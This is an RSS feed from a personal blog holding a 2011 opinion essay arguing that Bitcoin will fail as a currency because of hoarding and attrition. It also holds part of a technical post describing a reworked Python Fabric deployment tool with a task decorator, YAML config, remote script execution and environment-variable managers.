<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">
<channel>
  <title>Tav's Blog</title>
  <link>http://tav.espians.com</link>
  <description>I'm Tav, a 29-year old from London. I enjoy working on large-scale social, economic and technological systems.</description>
  <language>en</language>
  <lastBuildDate>Tue, 02 Aug 2011 09:42:04 GMT</lastBuildDate>
  <generator>Tav RSS Generator</generator>
  <atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/asktav" /><feedburner:info uri="asktav" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><media:copyright>Public Domain</media:copyright><media:thumbnail url="http://pleinair.googlecode.com/svn/trunk/documentation/articles/static/aaken/aaken.png" /><media:category scheme="http://www.itunes.com/dtds/podcast-1.0.dtd">Business</media:category><media:category scheme="http://www.itunes.com/dtds/podcast-1.0.dtd">Technology</media:category><media:category scheme="http://www.itunes.com/dtds/podcast-1.0.dtd">Society &amp; Culture</media:category><itunes:author>tav</itunes:author><itunes:explicit>no</itunes:explicit><itunes:image href="http://pleinair.googlecode.com/svn/trunk/documentation/articles/static/aaken/aaken.png" /><itunes:subtitle>I'm Tav, a 29-year old from London. I enjoy working on large-scale social, economic and technological systems.</itunes:subtitle><itunes:category text="Business" /><itunes:category text="Technology" /><itunes:category text="Society &amp; Culture" /><creativeCommons:license>http://creativecommons.org/licenses/by/2.0/</creativeCommons:license><image><link>http://pleinair.googlecode.com/svn/trunk/documentation/asktav/articles/index</link><url>http://pleinair.googlecode.com/svn/trunk/documentation/asktav/static/gfx/aaken.png</url><title>Aaken</title></image><feedburner:emailServiceId>asktav</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><feedburner:feedFlare href="http://add.my.yahoo.com/rss?url=http%3A%2F%2Ffeeds.feedburner.com%2Fasktav" src="http://us.i1.yimg.com/us.yimg.com/i/us/my/addtomyyahoo4.gif">Subscribe with My Yahoo!</feedburner:feedFlare><feedburner:feedFlare href="http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2Fasktav" src="http://www.newsgator.com/images/ngsub1.gif">Subscribe with NewsGator</feedburner:feedFlare><feedburner:feedFlare href="http://feeds.my.aol.com/add.jsp?url=http%3A%2F%2Ffeeds.feedburner.com%2Fasktav" src="http://o.aolcdn.com/favorites.my.aol.com/webmaster/ffclient/webroot/locale/en-US/images/myAOLButtonSmall.gif">Subscribe with My AOL</feedburner:feedFlare><feedburner:feedFlare href="http://www.bloglines.com/sub/http://feeds.feedburner.com/asktav" src="http://www.bloglines.com/images/sub_modern11.gif">Subscribe with Bloglines</feedburner:feedFlare><feedburner:feedFlare href="http://www.netvibes.com/subscribe.php?url=http%3A%2F%2Ffeeds.feedburner.com%2Fasktav" src="http://www.netvibes.com/img/add2netvibes.gif">Subscribe with Netvibes</feedburner:feedFlare><feedburner:feedFlare href="http://fusion.google.com/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2Fasktav" src="http://buttons.googlesyndication.com/fusion/add.gif">Subscribe with Google</feedburner:feedFlare><feedburner:feedFlare href="http://www.pageflakes.com/subscribe.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2Fasktav" src="http://www.pageflakes.com/ImageFile.ashx?instanceId=Static_4&amp;fileName=ATP_blu_91x17.gif">Subscribe with Pageflakes</feedburner:feedFlare><item>
    <title>Why Bitcoin Will Fail As A Currency</title>
    <guid isPermaLink="false">http://tav.espians.com/why-bitcoin-will-fail-as-a-currency.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/0ltRhz2dn3k/why-bitcoin-will-fail-as-a-currency.html</link>
    <pubDate>Tue, 07 Jun 2011 13:54:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p><a class="reference external" href="http://www.google.com/trends?q=bitcoin">Bitcoin mania</a> has now reached such
worrying heights that some people are even putting <a class="reference external" href="http://falkvinge.net/2011/05/29/why-im-putting-all-my-savings-into-bitcoin/">all of their savings into it</a>.
Unfortunately, Bitcoin is fundamentally flawed and by the time you finish
reading this article, I hope you will agree with me.</p>
<p>For those of you not familiar with <a class="reference external" href="http://www.bitcoin.org/">Bitcoin</a>, it is
often described as a &ldquo;peer-to-peer currency&rdquo;. This geeky video is sorta
informative:</p>
<div class="center">
  <iframe width="560" height="349" src="http://www.youtube.com/embed/XQPSwA2Itbs?start=2516" frameborder="0" allowfullscreen></iframe>
</div><p>There are a lot of good reasons to be excited about the <a class="reference external" href="http://www.bitcoin.org/bitcoin.pdf">design behind Bitcoin</a> &mdash; it enables secure transactions in a
transparent manner and doesn't require centralised authorities. It really is
genius and I look forward to seeing it used in other domains.</p>
<p>However, this does not make Bitcoin a suitable currency system.</p>
<p><strong>Why?</strong></p>
<p>Because, by design, there will never be more than <a class="reference external" href="https://en.bitcoin.it/wiki/FAQ#How_are_new_Bitcoins_created?">21 million Bitcoins</a> in existence.
And thanks to hoarding and attrition, we can be sure that it will eventually
serve as nothing more than as a <a class="reference external" href="http://en.wikipedia.org/wiki/Collectable">collector's item</a>.</p>
<p><strong>Bitcoin Hoarding</strong></p>
<p>First, let's take a look at why Bitcoin encourages hoarding. As I write this,
the <a class="reference external" href="http://blockexplorer.com/q/totalbc">current total</a> of Bitcoins mined so
far is just short of 6.5 million:</p>
<div class="syntax pycon"><pre><span class="gp">&gt;&gt;&gt; </span><span class="n">bitcoin</span><span class="o">.</span><span class="n">currentTotal</span><span class="p">()</span><br/><span class="go">6459900</span><br/></pre></div>
<p>That is, nearly a third of all Bitcoins that could ever exist are already
sitting on people's computers. Now let's assume for a moment that Bitcoin really
is useful and in the next decade grows to an <a class="reference external" href="http://en.wikipedia.org/wiki/Economy_of_Mexico">economy the size of Mexico</a>, i.e. a trillion dollars.</p>
<p>In this context, if you had 50 Bitcoins they would be worth:</p>
<div class="syntax pycon"><pre><span class="gp">&gt;&gt;&gt; </span><span class="p">(</span><span class="mf">50.</span> <span class="o">/</span> <span class="mi">21000000</span><span class="p">)</span> <span class="o">*</span> <span class="mi">1000000000000</span><br/><span class="go">2380952.3809523806</span><br/></pre></div>
<p>That is, 50 Bitcoins would be worth over 2 million dollars!! Knowing this,
unless you were super desperate, would you really spend those Bitcoins today?</p>
<p>In the early days, when Bitcoin was just a fun experiment, it might have made
sense to spend it. But given that people are <a class="reference external" href="https://mtgox.com/">now willing</a>
to <a class="reference external" href="https://en.bitcoin.it/wiki/Trade">accept it as a currency</a>, you would be
an idiot not to hoard it.</p>
<p>And, unlike currencies <a class="reference external" href="http://en.wikipedia.org/wiki/Gold_standard">backed by gold</a> or oil, where there is always the
chance of someone discovering new gold mines or <a class="reference external" href="http://www.ogj.com/index/article-display/8070349727/articles/oil-gas-journal/exploration-development-2/area-drilling/20100/june-2011/uganda_-tullow_wells.html">oil fields</a>,
you know for certain that no-one will ever be able to dilute your share of the
total Bitcoin.</p>
<p>Now, despite the hoarders, there will still be an initial spike in the demand
for Bitcoins due to:</p>
<ul class="simple">
<li>Non-hoarders experimenting with the system and unwittingly increasing the
value of the Bitcoins held by the hoarders.</li>
<li>Greedy hoarders trying to buy up as much Bitcoins as they can so as to
increase the size of their potential future wealth.</li>
<li>Scammers manipulating the market with trades so as to make a quick buck from
<a class="reference external" href="http://en.wikipedia.org/wiki/Greater_fool_theory">greater fools</a> before it
all comes crashing down.</li>
</ul>
<p>Unfortunately it won't last long. For starters, the non-hoarders (the actual
spenders) will gradually discover that hoarding is the best strategy for
maximising the value of their Bitcoins &mdash; causing them to either abandon the
system or start hoarding themselves.</p>
<p>It would also become increasingly apparent that the majority are hoarding and
that only a <a class="reference external" href="https://forum.bitcoin.org/index.php?topic=9456.0">fraction of Bitcoins are in actual circulation</a>. At this point, it is
effectively game over for Bitcoin as a currency. An economy really can't
function if nobody spends any money!!</p>
<p>Since there will be a slow trickle of new users and cautious hoarders gradually
dumping some of their Bitcoins, I doubt the Bitcoin economy will come to a total
standstill anytime soon. But there is no doubt that the majority of the activity
will be driven by speculation.</p>
<p>It should hopefully now be obvious that Bitcoin is simply a store of speculative
value. In some ways, it's a lot like <a class="reference external" href="http://en.wikipedia.org/wiki/Share_(finance)">publicly traded shares</a>. But it's worse, because at
least with most shares you get a share of the underlying corporate assets and
profits.</p>
<p>Also, unlike shares, where you can generally expect recurring <a class="reference external" href="http://en.wikipedia.org/wiki/Economic_bubble">speculative
bubbles</a>, Bitcoin is not
impacted in positive ways by underlying conditions, e.g. corporate acquisitions,
new share issues, growing profits, etc. Thus the capacity for multiple Bitcoin
bubbles is extremely low.</p>
<p>If anything, potential changes in external factors pretty much all lead to a
negative impact for Bitcoin speculators, e.g. financial regulation,
technological breakthroughs, forked block chains, etc.</p>
<p><strong>Bitcoin Attrition</strong></p>
<p>The effect of hoarding is made worse by the inevitable attrition of the number
of available Bitcoins. That is, as time goes by, there will be fewer Bitcoins
available in proportion to the total number of Bitcoins.</p>
<p>This happens for a variety of reasons:</p>
<ul class="simple">
<li>Many users, especially early-adopters, having experimented with Bitcoin and
generated some coins, have then just forgotten about it.</li>
<li>You can't access your Bitcoins unless you have your private keys backed up
somewhere. Hundreds of people have failed to backup their wallets and have
lost these keys permanently.</li>
<li>Technical issues in how the client generated keys has led to users losing
Bitcoins even when they tried to backup properly, e.g. <a class="reference external" href="http://forum.bitcoin.org/index.php?topic=11104.0">these</a> <a class="reference external" href="http://forum.bitcoin.org/index.php?topic=782.0">two</a> have each lost what would
today be worth about $130k and $160k due to technical glitches. Ouch!</li>
</ul>
<p>If it were possible to determine it, I would be willing to bet that over a sixth
of the Bitcoins mined thus far are already not accessible. In our hypothetical
scenario above, that would translate to over 50 billion dollars worth that has
simply been &ldquo;lost&rdquo;.</p>
<p>As time goes by, this figure is only guaranteed to increase. And since we can
safely assume that hoarders will be a lot more careful than the experimenters,
most of the attrition will likely come from the actual spenders in the economy.</p>
<p>Thus, limiting the actual number of Bitcoins in active circulation even further!
I could go on, but I hope the point is relatively clear. Hoarding and attrition
make Bitcoin unsuitable as a currency. Now, let's look at some
counter-arguments.</p>
<p><strong>What about creating new block chains without the 21 million coin limit?</strong></p>
<p>Yes, you could create new block chains, EuroCoin, ChinaCoin, etc. However, this
would be not be fixing the problem with Bitcoin in any way. You would simply be
introducing competing alternative systems which may or may not fix the
fundamental issue.</p>
<p><strong>What about extending the Bitcoin client to keep on issuing new Bitcoins?</strong></p>
<p>I don't think you could keep on calling this Bitcoin. For starters, it violates
what most people understand as Bitcoin &mdash; that it is totally decentralised and
cannot be controlled by any one party.</p>
<p>By imposing such a fundamental change, you would be violating the core
assumptions made by those who have invested in Bitcoins. I doubt most of the
anti-gov folk who seem to have taken to Bitcoin would be interested in having
such changes dictated to them.</p>
<p><strong>What about using consensus to change the protocol?</strong></p>
<p>This is super easy to say and almost impossible to achieve. How would you
achieve this consensus? Would it be majority/mob rule? By lottery? What about
those who disagree with the result? Who decides on the process?</p>
<p>I fear that the opportunity to fix this has long since gone. If anything, future
decentralised currency designers should take this as a lesson to specify, ahead
of time, a process to use in order to make protocol changes.</p>
<p>That way, beneficial changes can be made without violating any implicit
assumptions that people might have made.</p>
<p><strong>Conclusion</strong></p>
<p>Bitcoin is not a viable currency. It is a store of speculative value &mdash; much
like investing in stamps, comic books and vintage shoes. The fixed limit of the
number of Bitcoins is subject to attrition and encourages hoarding which will
inevitably lead to mainly speculative activity.</p>
<p>Whilst Bitcoin is a perfectly viable speculative instrument, it will be far too
volatile to serve as a medium of exchange. I would like to call upon the Bitcoin
community to stop referring to it as a digital currency. This is misleading and
harmful.</p>
<p>Finally, forgive me if I haven't been clear enough with any of the explanations
and do let me know what you think.</p>
<p>&mdash; Thanks, tav</p><img src="http://feeds.feedburner.com/~r/asktav/~4/0ltRhz2dn3k" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><media:content url="http://feedproxy.google.com/~r/asktav/~5/ziKy3fMvGhM/bitcoin.pdf" fileSize="184292" type="application/pdf" /><itunes:explicit>no</itunes:explicit><itunes:author>tav</itunes:author><feedburner:origLink>http://tav.espians.com/why-bitcoin-will-fail-as-a-currency.html</feedburner:origLink><enclosure url="http://feedproxy.google.com/~r/asktav/~5/ziKy3fMvGhM/bitcoin.pdf" length="184292" type="application/pdf" /><feedburner:origEnclosureLink>http://www.bitcoin.org/bitcoin.pdf</feedburner:origEnclosureLink></item><item>
    <title>Fabric Python with Cleaner API and Parallel Deployment</title>
    <guid isPermaLink="false">http://tav.espians.com/fabric-python-with-cleaner-api-and-parallel-deployment-support.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/UI8hrhwWtfI/fabric-python-with-cleaner-api-and-parallel-deployment-support.html</link>
    <pubDate>Mon, 21 Feb 2011 05:38:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p><a class="reference external" href="http://fabfile.org/">Fabric</a> is an awesome tool. Like <a class="reference external" href="https://github.com/capistrano/capistrano/wiki/2.x-Getting-Started">Capistrano</a> and <a class="reference external" href="http://rubyhitsquad.com/Vlad_the_Deployer.html">Vlad</a>, it makes deployments a lot
simpler than with shell scripts on their own.</p>
<div class="float-right-aligned">
<a href="http://www.flickr.com/photos/stars6/4381851322/in/photostream/"><img
  src="http://farm3.static.flickr.com/2775/4381851322_d46fd7d75e.jpg"
  alt="Datacenter Work" width="400px" height="267px" /></a><br />
<div class="image-caption">
  by <a href="http://www.flickr.com/photos/stars6/">stars6</a>
</div>
</div><p>However, once the complexity of your setup starts to grow, you very quickly
start wishing for a cleaner and more powerful API.</p>
<p>And once you are deploying to more than 30 servers, you really wish that Fabric
would run commands in parallel instead of doing them sequentially, one after
another.</p>
<p>Having recently experienced this pain, I decided to rework the core of Fabric.
I've documented it below &mdash; describing all the changes to the <a class="reference external" href="http://docs.fabfile.org/1.0a/">current Fabric
1.0a</a> &mdash; including funky new features like
<tt class="docutils literal">fab shell</tt> and staged deployments!</p>
<p class="intro-box"><a class="reference external" href="https://github.com/tav/pylibs/tree/master/fabric">https://github.com/tav/pylibs/tree/master/fabric</a></p>
<div class="section" id="task-decorator">
<h1>Task Decorator</h1>
<p>Traditionally, <em>all</em> functions within your <tt class="docutils literal">fabfile.py</tt> were implicitly
exposed as Fabric commands. So once you started abstracting your script to be
more manageable, you had to use <tt class="docutils literal">_underscore</tt> hacks to stop functions being
exposed as commands, e.g.</p>
<div class="syntax python"><pre><span class="kn">from</span> <span class="nn">support.module</span> <span class="kn">import</span> <span class="n">SomeClass</span> <span class="k">as</span> <span class="n">_SomeClass</span><br/><span class="kn">from</span> <span class="nn">urllib</span> <span class="kn">import</span> <span class="n">urlencode</span> <span class="k">as</span> <span class="n">_urlencode</span><span class="p">,</span> <span class="n">urlopen</span> <span class="k">as</span> <span class="n">_urlopen</span><br/><br/><span class="k">def</span> <span class="nf">_support_function</span><span class="p">():</span><br/>    <span class="o">...</span><br/></pre></div>
<p>Not only is this ugly and cumbersome, but it also goes against <a class="reference external" href="http://www.python.org/dev/peps/pep-0020/">The Zen of
Python</a> philosophy of &ldquo;explicit is
better than implicit&rdquo;. So I've added a <tt class="docutils literal">&#64;task</tt> decorator to explicitly mark
functions as Fabric commands, e.g.</p>
<div class="syntax python"><pre><span class="kn">from</span> <span class="nn">urllib</span> <span class="kn">import</span> <span class="n">urlopen</span><br/><span class="kn">from</span> <span class="nn">fabric.api</span> <span class="kn">import</span> <span class="o">*</span><br/><br/><br/><span class="k">def</span> <span class="nf">get_latest_commit</span><span class="p">():</span><br/>    <span class="k">return</span> <span class="n">urlopen</span><span class="p">(</span><span class="s">&#39;http://commits.server.com/latest&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span><br/><br/><br/><span class="nd">@task</span><br/><span class="k">def</span> <span class="nf">check</span><span class="p">():</span><br/>    <span class="sd">&quot;&quot;&quot;check if local changes have been committed&quot;&quot;&quot;</span><br/><br/>    <span class="n">local_version</span> <span class="o">=</span> <span class="n">local</span><span class="p">(</span><span class="s">&#39;git rev-parse HEAD&#39;</span><span class="p">)</span><br/><br/>    <span class="k">if</span> <span class="n">local_version</span> <span class="o">!=</span> <span class="n">get_latest_commit</span><span class="p">():</span><br/>        <span class="n">abort</span><span class="p">(</span><span class="s">&quot;!! Local changes haven&#39;t been committed !!&quot;</span><span class="p">)</span><br/><br/><br/><span class="nd">@task</span><br/><span class="k">def</span> <span class="nf">deploy</span><span class="p">():</span><br/>    <span class="sd">&quot;&quot;&quot;publish the latest version of the app&quot;&quot;&quot;</span><br/><br/>    <span class="k">with</span> <span class="n">cd</span><span class="p">(</span><span class="s">&#39;/var/app&#39;</span><span class="p">):</span><br/>        <span class="n">run</span><span class="p">(</span><span class="s">&#39;git remote update&#39;</span><span class="p">)</span><br/>        <span class="n">run</span><span class="p">(</span><span class="s">&#39;git checkout </span><span class="si">%s</span><span class="s">&#39;</span> <span class="o">%</span> <span class="n">get_latest_commit</span><span class="p">())</span><br/><br/>    <span class="n">sudo</span><span class="p">(</span><span class="s">&quot;/etc/init.d/apache2 graceful&quot;</span><span class="p">)</span><br/></pre></div>
<p>The above uses <tt class="docutils literal">&#64;task</tt> to explicitly mark <tt class="docutils literal">check</tt> and <tt class="docutils literal">deploy</tt> as Fabric
commands so that they can be run as usual, i.e. <tt class="docutils literal">fab check</tt> and <tt class="docutils literal">fab
deploy</tt>. Any functions and classes you import or define don't have to be
&ldquo;hidden&rdquo; with the <tt class="docutils literal">_underscore</tt> hack.</p>
<p>For backwards compatibility, if you never use the <tt class="docutils literal">&#64;task</tt> decorator, you'll
continue to get the traditional behaviour.</p>
</div>
<div class="section" id="yaml-config">
<h1>YAML Config</h1>
<p>It's preferable not to hard-code configurable values into fabfiles. This enables
you to reuse the same fabfile across different projects and keep it updated
without having to constantly copy, paste and modify.</p>
<p>So I've added native config support to Fabric. You can enable it by simply
specifying the <tt class="docutils literal">env.config_file</tt> variable:</p>
<div class="syntax python"><pre><span class="n">env</span><span class="o">.</span><span class="n">config_file</span> <span class="o">=</span> <span class="s">&#39;deploy.yaml&#39;</span><br/></pre></div>
<p>This will load and parse the specified <a class="reference external" href="http://en.wikipedia.org/wiki/YAML">YAML file</a> before running any commands. The
configuration values will then be accessible from <tt class="docutils literal">env.config</tt>. This object is
simply a dictionary with dot-attribute access similar to the <tt class="docutils literal">env</tt> dictionary.</p>
<p>You can then keep your fabfiles clean from hard-coded values, e.g.</p>
<div class="syntax python"><pre><span class="k">def</span> <span class="nf">get_latest_commit</span><span class="p">():</span><br/>    <span class="k">return</span> <span class="n">urlopen</span><span class="p">(</span><span class="n">env</span><span class="o">.</span><span class="n">config</span><span class="o">.</span><span class="n">commits_server</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span><br/><br/><br/><span class="nd">@task</span><br/><span class="k">def</span> <span class="nf">deploy</span><span class="p">():</span><br/>    <span class="k">with</span> <span class="n">cd</span><span class="p">(</span><span class="n">env</span><span class="o">.</span><span class="n">config</span><span class="o">.</span><span class="n">app_directory</span><span class="p">):</span><br/>        <span class="o">...</span><br/></pre></div>
<p>Having configurable values also means that frameworks like Django could ship
default tasks for you to use, e.g.</p>
<div class="syntax python"><pre><span class="kn">from</span> <span class="nn">django.fabric</span> <span class="kn">import</span> <span class="n">deploy</span><span class="p">,</span> <span class="n">test</span><br/></pre></div>
</div>
<div class="section" id="script-execution">
<h1>Script Execution</h1>
<p>It really helps to be able to quickly iterate the scripts that you will be
calling with Fabric. And whilst you should eventually create them as individual
files and sync them as part of your deployment, it'd be nice if you could try
them out during development.</p>
<p>To help with this I've added a new <tt class="docutils literal">execute()</tt> builtin. This lets you execute
arbitrary scripts on remote hosts, e.g.</p>
<div class="syntax python"><pre><span class="nd">@task</span><br/><span class="k">def</span> <span class="nf">stats</span><span class="p">():</span><br/><br/>    <span class="n">memusage</span> <span class="o">=</span> <span class="n">execute</span><span class="p">(</span><span class="s">&quot;&quot;&quot;</span><br/><br/><span class="s">      #! /usr/bin/env python</span><br/><span class="s">      import psutil</span><br/><br/><span class="s">      pid = open(&#39;pidfile&#39;).read()</span><br/><span class="s">      process = psutil.Process(int(pid))</span><br/><span class="s">      print process.get_memory_percent()</span><br/><br/><span class="s">    &quot;&quot;&quot;</span><span class="p">,</span> <span class="s">&#39;memusage.py&#39;</span><span class="p">,</span> <span class="n">verbose</span><span class="o">=</span><span class="bp">False</span><span class="p">,</span> <span class="nb">dir</span><span class="o">=</span><span class="s">&#39;/var/ampify&#39;</span><span class="p">)</span><br/></pre></div>
<p>Behind the scenes, <tt class="docutils literal">execute()</tt> will:</p>
<ul class="simple">
<li>Strip any common leading whitespace from every line in the source.</li>
<li>Copy the source into a file on the remote server.</li>
<li>If the optional <tt class="docutils literal">name</tt> parameter (the 2nd parameter) had been specified,
then the given name will be used, otherwise an auto-generated name will be
used.</li>
<li>If the optional <tt class="docutils literal">dir</tt> parameter was specified, then the file will be created
within the given directory, otherwise it'll be created on the remote <tt class="docutils literal">$HOME</tt>
directory.</li>
<li>The file will then be made executable, i.e. <tt class="docutils literal">chmod +x</tt>.</li>
<li>And, finally, it will be run and the response will be returned. Unless the
<tt class="docutils literal">verbose</tt> parameter is set to <tt class="docutils literal">False</tt>, then it will by default also output
the response to the screen.</li>
</ul>
<p>As you can imagine, <tt class="docutils literal">execute()</tt> makes it very easy to rapidly try out and
develop your deployment logic. Your scripts can be in whatever languages you can
run on your remote hosts &mdash; Ruby, Perl, Bash, Python, JavaScript, whatever.</p>
</div>
<div class="section" id="environment-variable-manager">
<h1>Environment Variable Manager</h1>
<p>When calling various command line tools, you often have to mess with environment
variables like <tt class="docutils literal">$PATH</tt>, <tt class="docutils literal">$NODE_PATH</tt>, <tt class="docutils literal">$PYTHONPATH</tt>, etc. To deal with
this, Fabric forced you to write things like:</p>
<div class="syntax python"><pre><span class="n">NODE_PATH</span> <span class="o">=</span> <span class="s">&quot;NODE_PATH=$NODE_PATH:</span><span class="si">%s</span><span class="s">&quot;</span> <span class="o">%</span> <span class="n">node_libs</span><br/><span class="n">run</span><span class="p">(</span><span class="s">&quot;</span><span class="si">%s</span><span class="s"> vows&quot;</span> <span class="o">%</span> <span class="n">NODE_PATH</span><span class="p">)</span><br/><span class="n">run</span><span class="p">(</span><span class="s">&quot;</span><span class="si">%s</span><span class="s"> coffee -c amp.coffee&quot;</span> <span class="o">%</span> <span class="n">NODE_PATH</span><span class="p">)</span><br/></pre></div>
<p>Instead you can now do:</p>
<div class="syntax python"><pre><span class="k">with</span> <span class="n">env</span><span class="o">.</span><span class="n">NODE_PATH</span><span class="p">(</span><span class="n">node_libs</span><span class="p">):</span><br/>    <span class="n">run</span><span class="p">(</span><span class="s">&quot;vows&quot;</span><span class="p">)</span><br/>    <span class="n">run</span><span class="p">(</span><span class="s">&quot;coffee -c amp.coffee&quot;</span><span class="p">)</span><br/></pre></div>
<p>That is, if you call a property on the <tt class="docutils literal">env</tt> object which is composed of only
upper-case ASCII characters, then a <a class="reference external" href="http://www.python.org/dev/peps/pep-0343/">Python Context Manager</a> is generated which will manage the
use of the environment variables for you.</p>
<p>The manager has the following constructor signature:</p>
<div class="syntax python"><pre><span class="n">manager</span><span class="p">(</span><span class="n">value</span><span class="p">,</span> <span class="n">behaviour</span><span class="o">=</span><span class="s">&#39;append&#39;</span><span class="p">,</span> <span class="n">sep</span><span class="o">=</span><span class="n">os</span><span class="o">.</span><span class="n">pathsep</span><span class="p">,</span> <span class="n">reset</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span><br/></pre></div>
<p>So, if you'd called <tt class="docutils literal">env.PATH(value, behaviour)</tt>, the way the <tt class="docutils literal">value</tt> is
treated will depend on the <tt class="docutils literal">behaviour</tt> parameter which can be one of the
following:</p>
<ul class="simple">
<li><tt class="docutils literal">append</tt> &mdash; appends value to the current <tt class="docutils literal">$PATH</tt>, i.e.
<tt class="docutils literal"><span class="pre">PATH=$PATH:&lt;value&gt;</span></tt></li>
<li><tt class="docutils literal">prepend</tt> &mdash; prepends value to the current <tt class="docutils literal">$PATH</tt>, i.e.
<tt class="docutils literal"><span class="pre">PATH=&lt;value&gt;:$PATH</span></tt></li>
<li><tt class="docutils literal">replace</tt> &mdash; ignores current <tt class="docutils literal">$PATH</tt> altogether, i.e. <tt class="docutils literal"><span class="pre">PATH=&lt;value&gt;</span></tt></li>
</ul>
<p>The <tt class="docutils literal">sep</tt> defaults to <tt class="docutils literal">:</tt> on most platforms and determines how the values
are concatenated. And if you call the manager with no arguments at all or
stringify it, it will return the string which would be used during execution,
e.g.</p>
<div class="syntax python"><pre><span class="k">print</span> <span class="n">env</span><span class="o">.</span><span class="n">NODE_PATH</span>               <span class="c"># NODE_PATH=$NODE_PATH:/opt/ampify/libs/node</span><br/></pre></div>
<p>The various calls can be also nested, e.g.</p>
<div class="syntax python"><pre><span class="k">with</span> <span class="n">env</span><span class="o">.</span><span class="n">PATH</span><span class="p">(</span><span class="s">&#39;/usr/local/bin&#39;</span><span class="p">):</span><br/>    <span class="k">with</span> <span class="n">env</span><span class="o">.</span><span class="n">PATH</span><span class="p">(</span><span class="s">&#39;/home/tav/bin&#39;</span><span class="p">):</span><br/>        <span class="k">print</span> <span class="n">env</span><span class="o">.</span><span class="n">PATH</span>               <span class="c"># PATH=$PATH:/usr/local/bin:/home/tav/bin</span><br/>        <span class="k">with</span> <span class="n">env</span><span class="o">.</span><span class="n">PATH</span><span class="p">(</span><span class="s">&#39;/opt/local/bin&#39;</span><span class="p">,</span> <span class="s">&#39;replace&#39;</span><span class="p">):</span><br/>            <span class="k">with</span> <span class="n">env</span><span class="o">.</span><span class="n">PATH</span><span class="p">(</span><span class="s">&#39;/bin&#39;</span><span class="p">,</span> <span class="s">&#39;prepend&#39;</span><span class="p">):</span><br/>                <span class="k">print</span> <span class="n">env</span><span class="o">.</span><span class="n">PATH</span>       <span class="c"># PATH=/bin:/opt/local/bin</span><br/>    <span class="k">print</span> <span class="n">env</span><span class="o">.</span><span class="n">PATH</span>                   <span class="c"># PATH=$PATH:/usr/local/bin</span><br/></pre></div>
<p>You can specify <tt class="docutils literal">reset=True</tt> to discard any nested values, e.g.</p>
<div class="syntax python"><pre><span class="k">with</span> <span class="n">env</span><span class="o">.</span><span class="n">PATH</span><span class="p">(</span><span class="s">&#39;/opt/ampify/bin&#39;</span><span class="p">,</span> <span class="s">&#39;prepend&#39;</span><span class="p">):</span><br/>    <span class="k">with</span> <span class="n">env</span><span class="o">.</span><span class="n">PATH</span><span class="p">(</span><span class="s">&#39;/home/tav/bin&#39;</span><span class="p">,</span> <span class="n">reset</span><span class="o">=</span><span class="bp">True</span><span class="p">):</span><br/>        <span class="k">print</span> <span class="n">env</span><span class="o">.</span><span class="n">PATH</span>                              <span class="c"># PATH=$PATH:/home/tav/bin</span><br/></pre></div>
</div>
<div class="section" id="extension-hooks">
<h1>Extension Hooks</h1>
<p>I've added native hooks support so that you can extend certain aspects of Fabric
without having to resort to monkey-patching. You attach functions to specific
hooks by using the new <tt class="docutils literal">&#64;hook</tt> decorator, e.g.</p>
<div class="syntax python"><pre><span class="nd">@hook</span><span class="p">(</span><span class="s">&#39;config.loaded&#39;</span><span class="p">)</span><br/><span class="k">def</span> <span class="nf">default_config</span><span class="p">():</span><br/><br/>    <span class="k">if</span> <span class="s">&#39;port&#39;</span> <span class="ow">in</span> <span class="n">env</span><span class="o">.</span><span class="n">config</span><span class="p">:</span><br/>        <span class="k">return</span><br/><br/>    <span class="n">port</span> <span class="o">=</span> <span class="n">prompt</span><span class="p">(</span><span class="s">&quot;port number?&quot;</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="mi">8080</span><span class="p">,</span> <span class="n">validate</span><span class="o">=</span><span class="nb">int</span><span class="p">)</span><br/>    <span class="n">env</span><span class="o">.</span><span class="n">config</span><span class="o">.</span><span class="n">port</span> <span class="o">=</span> <span class="n">port</span><br/></pre></div>
<p>For the moment, only the following builtin hooks are defined. It's possible that
I may add support for individual <tt class="docutils literal"><span class="pre">&lt;command&gt;.before</span></tt> and <tt class="docutils literal"><span class="pre">&lt;command&gt;.after</span></tt>
hooks, but so far I haven't needed that functionality.</p>
<table class="docutils">
<colgroup>
<col width="28%" />
<col width="39%" />
<col width="32%" />
</colgroup>
<thead valign="bottom">
<tr><th class="head">Hook Name</th>
<th class="head">Hook Function Signature</th>
<th class="head">Description</th>
</tr>
</thead>
<tbody valign="top">
<tr><td><tt class="docutils literal">commands.before</tt></td>
<td><tt class="docutils literal">func(cmds, cmds_to_run)</tt></td>
<td>Run before <em>all</em> the commands are run (including the config handling).</td>
</tr>
<tr><td><tt class="docutils literal">config.loaded</tt></td>
<td><tt class="docutils literal">func()</tt></td>
<td>Run after any config file has been parsed and loaded.</td>
</tr>
<tr><td><tt class="docutils literal">commands.after</tt></td>
<td><tt class="docutils literal">func()</tt></td>
<td>Run after <em>all</em> the commands are run.</td>
</tr>
<tr><td><tt class="docutils literal">listing.display</tt></td>
<td><tt class="docutils literal">func()</tt></td>
